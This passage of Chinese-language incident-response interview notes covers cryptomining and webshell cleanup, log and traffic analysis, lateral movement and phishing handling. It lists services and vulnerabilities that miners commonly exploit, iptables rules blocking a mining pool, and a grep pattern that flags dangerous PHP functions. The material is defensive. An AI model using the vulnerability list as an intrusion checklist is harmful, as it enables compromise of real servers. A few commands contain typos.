C、导出应用程序日志、安全日志、系统日志,利用Log Parser进行分析
WEB访问日志
分析方法:
a、找到中间件的web日志,打包到本地方便进行分析。
b、推荐工具:Window下,推荐用 EmEditor 进行日志分析,支持大文本,搜索效率还不错。
Linux下,使用Shell命令组合查询分析

挖矿常用手段

未授权访问或弱口令:Redis 未授权访问、Docker API 未授权访问、Hadoop Yarn 未授权访问、NFS 未授权访问、Rsync 弱口令、PostgreSQL 弱口令、Tomcat 弱口令、SSH 弱口令、Telnet 弱口令、Windows 远程桌面弱口令
远程命令执行漏洞:WebLogic XML 反序列化漏洞、Jenkins 反序列化、Jboss 远程代码执行、Spring 远程代码执行、ElasticSearch 命令执行、永恒之蓝、Struts2 系列漏洞、常见 CMS 的远程命令执行漏洞
新爆的高危漏洞:一般每次爆发新的高危漏洞,都会紧跟一波大规模的全网扫描利用和挖矿

清除挖矿木马

原因排查:
一旦发现服务器被挖矿,应该首先查看挖矿进程所属的用户,根据挖矿进程的运行用户去排查该用户下是否还运行着其它进程
确定这些进程是否有上述经常被恶意利用的漏洞。如果有常见的漏洞,则应该重点对此进行排查找到原因
清除木马:
1.及时隔离主机
部分带有蠕虫功能的挖矿木马在取得本机的控制权后,会以本机为跳板机
对同一局域网内的其他主机进行已知漏洞的扫描和进一步利用, 所以发现挖矿现象后,在不影响业务的前提下应该及时隔离受感染主机,然后进行下一步分析
2.删除文件、阻断与矿池通讯
iptables -A INPUT -S xmr.crypto- pool.fr -j DROP
iptables -A OUTPUT -d xmr.crypto- pool.fr -j DROP
3.清除定时任务
大部分挖矿进程会在受感染主机中写入定时任务来完成程序的驻留,当安全人员只清除挖矿木马时,定时任务会再次从服务器下载挖矿进程或者直接执行挖矿脚本,导致挖矿进程清除失败
4.清除启动项
有的挖矿进程为了实现长期驻留,会向系统中添加启动项来确保系统重启后挖矿进程还能重新启动,所以在清除时还应该关注启动项中的内容如果有可疑的启动项,也应该进行排查,确认是挖矿进程后,对其进行清除
5.kill 挖矿进程
对于单进程挖矿程序,直接结束挖矿进程即可。但是对于大多数的挖矿进程,如果挖矿进程有守护进程,应先杀死守护进程再杀死挖矿进程,避免清除不彻底
在实际的清除工作中,应找到本机上运行的挖矿脚本,根据脚本的执行流程确定木马的驻留方式, 并按照顺序进行清除, 避免清除不彻底
6.清除公钥文件
在用户 home 目录的 .ssh 目录下放置 authoruzed_keys 文件,从而免密登录该机器也是一种常见的保持服务器控制权的手段。在排查过程中应该查看该文件中是否有可疑公钥信息,有的话直接删除,避免攻击者再次免密登录该主机

服务器存在webshell,如何处理?

及时隔离主机
定位事件范围,查看文件 webshell 文件的创建时间,对 webshell 取证样本
通过创建时间结合日志分析可疑行为,以及启动用户的其他进程确定漏洞
清除 webshell 及残留文件,修复漏洞
尝试复现攻击路径,还原攻击链

排查 shell 应该用什么命令来进行排查

find 命令
find /var/www/html -name "*.php" |xargs egrep 'assert|eval|phpinfo\(\)|\(base64_decoolcode|shell_exec|passthru|file_put_contents\(\.\*\$|base64_decode\('

如何检测webshell(各类webshell工具的特征请查阅上一篇文章)

静态检测:
通过匹配特征码,特征值,危险函数函数来查找 webshell 的方法,只能查找已知的 webshell
动态检测:
webshell 传到服务器了,在执行函数时这些对于系统调用、系统配置、数据库、文件的操作动作都是可以作为判断依据
日志检测:
使用 webshell 一般不会在系统日志中留下记录,但是会在网站的 web 日志中留下 webshell 页面的访问数据和数据提交记录
语法检测:
语法语义分析形式,是根据php 语言扫描编译的实现方式,进行剥离代码、注释,分析变量、函数、字符串、语言结构的分析方式,来实现关键危险函数的捕捉方式这样可以完美解决漏报的情况

数据包或者日志,你的分析思路是什么,以及你会用到哪些工具或者那些网站进行查询?

用流量监测的安全设备,比如天眼,查看报文,分析报文里和 host 和网站目录路径,查看是否可疑,使用微步查询 host 是否为恶意,使用 wireshark 对数据包深度分析
看一下请求的网站路径,源 IP 与目的 IP 地址,host 字段的值以及发包内容等
工具有 wireshark,网站的话微步在线等威胁情报中心

文件上传和命令执行,有看过相关日志吗

文件:可能在系统有上传功能或者有文本编辑器,看一下是否有 base64 加密或者 url 加密,解码验证一下是否有恶意代码
系统日志:有没有 web 容器做了一些危险行为,比如 bash 反弹 shell 等
网络应用日志:有没有异常的网站文件,类似 webshell 等,就有可能是命令执行

给你一个比较大的日志,应该如何分析

攻击规则匹配,通过正则匹配日志中的攻击请求
统计方法,统计请求出现次数,次数少于同类请求平均次数则为异常请求
白名单模式,为正常请求建立白名单,不在名单范围内则为异常请求
HMM 模型,类似于白名单,不同点在于可对正常请求自动化建立模型,从而通过正常模型找出不匹配者则为异常请求
借助日志分析工具,如 LogForensics 

如何分析被代理出来的数据流

分析数据包请求头中的 xff、referer 等收集有用的信息

一台主机在内网进行横向攻击,你应该怎么做?

确定攻击来源,是不是员工内部误操作,比如询问运维是否有自动化轮训脚本
如果没有,确定是攻击,结合时间点,根据设备信息,看一下安全事件,进程,流量
找到问题主机:
开始应急响应流程:准备、检测、遏制、根除、恢复、跟踪,具体的操作要交给现场运维去处理

如何发现钓鱼邮件

邮件系统异常登录告警、员工上报、异常行为告警、邮件蜜饵告警
推荐接入微步或奇安信的情报数据、对邮件内容出现的 URL 做扫描,可以发现大量的异常链接

钓鱼邮件如何防御、处置

屏蔽办公区域对钓鱼邮件内容涉及站点、URL 访问
1.根据办公环境实际情况可以在上网行为管理、路由器、交换机上进行屏蔽
2.邮件内容涉及域名、IP 均都应该进行屏蔽
3.对访问钓鱼网站的内网 IP 进行记录,以便后续排查溯源可能的后果

屏蔽钓鱼邮件

1.屏蔽钓鱼邮件来源邮箱域名
2.屏蔽钓鱼邮件来源 IP
3.有条件的可以根据邮件内容进行屏蔽
4.删除还在邮件服务器未被客户端收取钓鱼邮件

处理接收到钓鱼邮件的用户

1.根据钓鱼邮件发件人进行日志回溯
2.此处除了需要排查有多少人接收到钓鱼邮件之外,还需要排查是否公司通讯录泄露。采用 TOP500 姓氏撞库发送钓鱼邮件的攻击方式相对后续防护较为简单。如果发现是使用公司通讯录顺序则需要根据通讯录的离职情况及新加入员工排查通讯录泄露时间。毕竟有针对性的社工库攻击威力要比 TOP100、TOP500 大很多
3.通知已接收钓鱼邮件的用户进行处理
4.删除钓鱼邮件
5.系统改密
6.全盘扫毒
后续:溯源、员工培训提升安全意识

如何查看区分是扫描流量和手动流量

(扫描数据量大,请求有规律,手动扫描间隔较少)

遇到.exe文件如何处理?

首先看它的来源和去向,然后可以下载但不运行,放入微步沙箱中,看是否有后门
若有后门,就用 IDA 反汇编得到恶意攻击者的有用信息,再进一步描绘出攻击者画像进行溯源